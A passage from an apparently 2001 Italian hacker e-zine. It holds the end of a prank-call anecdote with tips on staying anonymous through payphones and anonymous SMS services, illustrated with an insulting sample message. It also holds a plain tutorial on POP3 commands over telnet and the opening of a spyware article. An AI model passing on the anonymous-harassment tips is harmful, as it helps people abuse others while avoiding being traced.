| Uno le grida dentro "troia", l'altro "dona del comun", un altro (dato che |
| aveva risposto il padre) urla "To fiola l'è 'na pompinara !!". |
| Intanto C. continua a scrivermi SMS sul cellulare chiedendo chi era che |
| chiamava e se lo sapevo dovevo dirgli di smetterla, altrimenti suo padre.. |
| Purtroppo io non ero in condizione nè di sentire il cellulare che squillava, |
| nè di rispondere agli SMS. |
| Il giorno dopo effettivamente il padre di Ch. ci cercava (con la spranga |
| !!!!!!) per "chiarire le idee" a chi era stato a fare lo scherzo. Gli scemi |
| confessano tutto e tentano di farsi scusare. Il padre (che è un bel |
| bestione, avverto tutti !!) per fortuna li scusa.. |
| |
| Ma perchè vi ho raccontanto tutta 'sta storia ? Per farvi un esempio di come |
| farla pagare a chi vi fà le corna ? No, per un altro motivo. |
| Questi miei amici sono stati scemi perchè TUTTE LE CHIAMATE EFFETTUATE DA |
| UNA CABINA TELEFONICA RISULTANO ANONIME, pertanto nessuno poteva risalire a |
| loro.. Almeno con i mezzi tradizionali. |
| Potevano tranquillamente dire che non erano stati loro e nessuno poteva dire |
| niente !!! |
| Avete capito quindi ? Se chiamate da una cabina telefonica chi riceve la |
| telefonata si troverà davanti a un numero ANONIMO !!! |
| |
| /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ |
| 4.- SMS |
| \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ |
| |
| Allora.. Gli SMS anonimi potete mandarli così: o via internet con uno dei |
| tanti siti che offrono questo servizio (occhio che questi siti stanno |
| diminuendo !!) oppure grazie a zed.it... |
| |
| Non sapete cos'è zed.it ?? In pratica è un servizio che vi permette di |
| mandare SMS anonimi pagando 250 L. + Iva per ogni messaggio (300 L. a |
| messaggio.. Non è proprio gratis ma..), cioè 100 L. in più del normale.. |
| |
| Come funziona ? Potrei rimandarvi a Zed.it, invece ve lo spiego. Il |
| messaggio tipo è questo: |
| "ANON numerodestinatario messaggio", poi cliccate "Invia" o quello che |
| preferite e inoltrate il messaggio al 44933.. Il messaggio arriverà in forma |
| anonima al destinatario. |
| |
| Esempio pratico: voglio scrivere a 333 3344555 che è una testa di cazzo.. |
| Ecco cosa scrivo sul cell: |
| "ANON 3333344555 sei una testa di cazzo" (senza virgolette ovviamente) e lo |
| spedisco al 44933.. Al 333 3344555 arriverà un msg anonimo con scritto "sei |
| una testa di cazzo" |
| |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #04 - 19/11/2001 |
| P0P3 [mR_bIs0n] 0x12/0x23 |
+-------------------------------------------------------------------------------+
| |
| Titolo: Leggere le mail da telnet, ovveri i comandi POP3 spiegati e |
| commentati |
| Autore: mR_bIs0n |
| Musica ascoltata: Alien Ant Farm - Smooth Criminal |
| Dickies - Killer Klown From Outer Space |
| Ramones e NoFx varii |
| Consumo: ora vedo che c'è da mangiare... NULLA! |
| Saluti a: tutti li amici di chat (troppi), li amici di classe, a tutti |
| li punk del mondo, a Francesca |
| Fucks to: Preside Prof. Basile Vittorio, un grande pezzo di merda |
| |
| Possiamo inizià |
| |
| Bellaaa ragazzi oggi sto a casa ammalato e vi spiego come fare a leggere le |
| mail da remoto, tramite il telnet e i comandi POP3. |
| Innanzitutto spieghiamo cos'è il POP3 (Post Office Protocol): sarebbe il |
| protocollo che consente agli utenti di accedere alle caselle di posta e di |
| recuperare le e-mails. |
| |
| Di solito la porta utilizzata dal server POP3 è la 110. Quando ci |
| colleghiamo col telnet al |
| server e alla porta 110 stabiliamo una connessione con esso e il server ci |
| saluta pure! |
| |
| telnet popmail.libero.it:110 |
| |
| +OK POP3 PROXY server ready (6.0.012)<5ED43B2F3D030765F52C08DBE6E1D769E |
| B63336A@pop2.libero.it> |
| |
| Ricordiamoci che i comandi solitamente sono seguiti da parametri da noi |
| scelti. |
| Esistono due indicatori di stato: +OK (positivo) e -ERR (negativo). |
| |
| Una volta collegati, dopo che il server si è presentato, si entra nella |
| sezionedetta 'AUTHORIZATION'. In questo momento il server si deve |
| identificare l'utenza. Solo una volta che il server ha riconosciuto |
| l'utente, possiamo passare nella sezione detta 'TRANSACTION'. In questa |
| sezione si può interagire e fare le proprie scelte. Dopodicchè, quando ci |
| disconnettiamo dal server, quest'ultimo entra nella sezione detta 'UPDATE', |
| e cioè aggiorna i nostri cambiamenti e infine ci saluta. |
| |
| Mi sa' che il server aspetta 10 minuti prima di disconnettere se ancora non |
| vi siete identificati. |
| |
| Ma passiamo alla pratica. Esistono due metodi di identificazione, il |
| classico e quello tipo 'APOP'. Vi spiego solo il primo (più semplice). |
| |
| telnet popmail.libero.it:110 |
| |
| +OK POP3 PROXY server ready (6.0.012)<5ED43B2F3D030765F52C08DBE6E1D769E |
| B63336A@pop2.libero.it> |
| |
| ...siamo connessi... |
| ora inseriamo il nostro user e la nostra pass: |
| |
| user sono_gay@libero.it |
| +OK Password required |
| pass menevanto |
| +OK 88 messages |
| (l'esempio non è autobiografico!) |
| |
| in questo caso tutto è andato bene, ci ha accettati e ci ha detto quanti |
| messaggi contiene la mailbox, 88 appunto. |
| |
| Se qualcosa va storto... |
| |
| -ERR invalid user or password |
| |
| ritentate, scrivete con calma senza fare errori o correzioni! |
| |
| Abbiamo passato lo stato di AUTHORIZATION e ora ci troviamo in TRANSACTION. |
| Bene ora passiamo ai comandi: |
| |
| stat |
| +OK 88 878599 |
| |
| Col comando STAT ci facciamo dire quanti messaggi di posta ci sono e quant'è |
| la grandezza di tutti essi. |
| |
| list |
| +OK |
| 1 1647467 |
| 2 2458881 |
| 3 3256 |
| ... |
| 88 354235 |
| |
| con questo comando possiamo vedere la lista dei messaggi contenuti nella |
| mail box e tutti corrispondono ad un numero. |
| |
| list 4 |
| +OK |
| 4 534553 |
| |
| così vediamo solo una mail. |
| |
| retr 3 |
| +OK 3256 bytes |
| Return-Path: <mortacci@tua.it> |
| Received: from smtp4.libero.it (193.70.192.54) by ims1b.libero.it (5.5.042) |
| id 3BA9972B0071D04C; Tue, 16 Oct 2001 04:09:33 +0200 |
| Received: from lists.technorail.com (62.149.128.39) by smtp4.libero.it |
| (6.0.021) |
| id 3BC59D68005AC99F; Tue, 16 Oct 2001 04:09:27 +0200 |
| Received: (from majordomo@localhost) |
| by lists.technorail.com (8.11.6/8.8.7) id f9FM0xR11976 |
| for aruba-info-list; Tue, 16 Oct 2001 00:00:59 +0200 |
| |
| [...] (tante altre coseeeee) |
| |
| possiamo leggere il contenuto delle mail, sconsiglio di usarlo, al massimo |
| settate il buffer del |
| vostro client telnet molto alto, in modo da poterle leggere. |
| |
| dele 34 |
| +OK message marked for deletion |
| |
| in questo modo marchiamo la mail che deve essere cancellata, dopo il quit, |
| verrà eliminata. |
| |
| noop |
| +OK |
| |
| ignoro l'utilizzo di questo comando, mi sono documentato e non dice nulla. |
| Forse potrebbe servire a controllare se il server, magari tra una operazione |
| e un'altra, è ancora attivo. |
| |
| rset |
| +OK |
| |
| se abbiamo marcato dei messaggi per essere eliminati, facendo questo |
| comando, annulliamo ogni marcatura. |
| |
| quit |
| +OK POP3 server closing connection |
| |
| quittando il server esegue tutti gli ordini impostati prima. |
| |
| top 3 10 |
| +OK 3256 bytes |
| Return-Path: <mortacci@tua.it> |
| Received: from smtp4.libero.it (193.70.192.54) by ims1b.libero.it (5.5.042) |
| id 3BA9972B0071D04C; Tue, 16 Oct 2001 04:09:33 +0200 |
| Received: from lists.technorail.com (62.149.128.39) by smtp4.libero.it |
| (6.0.021) |
| id 3BC59D68005AC99F; Tue, 16 Oct 2001 04:09:27 +0200 |
| Received: (from majordomo@localhost) |
| by lists.technorail.com (8.11.6/8.8.7) id f9FM0xR11976 |
| for aruba-info-list; Tue, 16 Oct 2001 00:00:59 +0200 |
| |
| [...] (solito header completo) |
| |
| (+ le prime 10 righe del messaggio) |
| |
| molto utile, in questo modo leggiamo le prime righe dei messaggi, così da |
| capire se magari possiamo cancellarle o meno. |
| |
| Esiste anche il comando UIDL, ma è anche difficile, quindi lasciamo perdere |
| anche questo (a dirla tutta, nemmeno io l'ho capito bene bene...). |
| |
| Ricapitolando: |
| |
| Comandi validi nello stato AUTHORIZATION |
| USER username |
| PASS password |
| QUIT |
| |
| Comandi validi nello stato TRANSACTION |
| STAT |
| LIST [numero del messaggio] |
| TOP [numero del messaggio] [fino alla riga] |
| RETR [numero del messaggio] |
| DELE [numero del messaggio] |
| NOOP |
| RSET |
| QUIT |
| |
| Oki, per ora è tutto, forse ci saranno altri miei arts, ci si bekka! |
| mR_bIs0n |
| |
| |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #04 - 19/11/2001 |
| SPYWARE AT ALL [MightyInquisitor] 0x13/0x23 |
+-------------------------------------------------------------------------------+
| |
| Titolo: SPYWARE AT ALL |
| Autore: MightyInquisitor |
| Home-page: www.mightyinquisitor.cjb.net |
| E-mail: mightyinquisitor@mightyinquisitor.cjb.net |
| Irc: irc.azzurranet.org - canali: #hackmaniaci |
| |
| |
| DiSCLAiMER_LEGALi |
| QUEST0 TEST0 DEVE iNTENDERSi A LiVELL0 iNF0RMATiV0, PERCi0' L'AUTORE, |
| MightyInquisitor, |
| DECLiNA 0GNi RESP0NSABiLiTA' DALL'US0 CHE POTREBBE ESSERNE FATT0. L'AUTORE, |
| DUNQUE, NON iNC0RAGGiA CHi VOLESSE SERViRSENE PER SC0Pi iLLEGALi. |
| |
| |
| cat Index.txt |
| ----------------------------------- |
| /Index.txt |
| /Intro.txt |
| /Cos_e'_uno_spyware.txt |
| /Come_agisce_advert.dll.txt |
| /Le_forme_del_file_spia.txt |
| /La_forma_tecnica_del_file_spia.txt |
| /Come_rimuovere_i_file_spia.txt |
| /Bugs_degli_spyware.txt |
| /Saluti.txt |
| ----------------------------------- |
| |
| |
| cat Intro.txt |
| ----------------------------------------------------------------------------- |
| Eccomi qua a scrivere un nuovo articolo dopo una lunga e bellissima vacanza |
| all'estero |
| durata oltre un mese e mezzo! Vi sono mancato? Beh, spero di si, ma come |
| vedete non mi |
| dimentico di certo dei miei lettori e si vede... ;-) |
| Allora, in questo testo vi parlerò di spyware, tranquilli, se non sapete |
| cosa sono lo |
| scoprirete inoltrandovi nella lettura, io non do, quasi, mai nulla per |
| scontato. |
| ----------------------------------------------------------------------------- |
|